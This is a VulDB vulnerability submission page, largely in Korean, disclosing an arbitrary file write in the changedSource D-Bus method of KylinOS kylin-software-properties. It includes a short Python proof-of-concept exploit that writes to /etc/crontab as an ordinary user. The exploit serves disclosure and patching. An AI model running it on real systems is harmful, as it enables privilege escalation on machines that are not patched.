제출 #159387: Kylin OS kylin-software-properties arbitrary file write vuln정보

제목Kylin OS kylin-software-properties arbitrary file write vuln
설명Report Describe kylin-software-properties is a component on KylinOS Desktop for setting system software properties. There is an arbitrary file writing vulnerability in the changedSource function of this component, which can lead to privilege escalation for ordinary users. Hazard level High Affected version kylin-software-properties < 0.0.1-130 POC&&EXP ISO Download: https://distro-images.kylinos.cn:8802/web_pungi/download/share/HXDYtGjZm3daA4UvOTLkiPl1nB9ErM0c/ exploit.py #!/usr/bin/env python3 import sys import dbus import os def change_source(old, new, target): bus = dbus.SystemBus() obj = bus.get_object("com.kylin.software.properties", "/com/kylin/software/properties") proxy = dbus.Interface(obj, "com.kylin.software.properties.interface") print(proxy.changedSource([old, new, target])) change_source("#", "rebound shell", "/etc/crontab") os.system("grep -rn 'rebound shell' /etc/crontab")
원천⚠️ https://github.com/i900008/vulndb/blob/main/kylinos_vul1.md
사용자
 Set3r.Pan (UID 28571)
제출2023. 05. 22. AM 10:02 (3 연령 ago)
모더레이션2023. 06. 05. AM 07:08 (14 days later)
상태수락
VulDB 항목230686 [KylinSoft kylin-software-properties 전에 0.0.1-130 켜짐 KylinOS changedSource 권한 상승]
포인트들20

Do you want to use VulDB in your project?

Use the official API to access entries easily!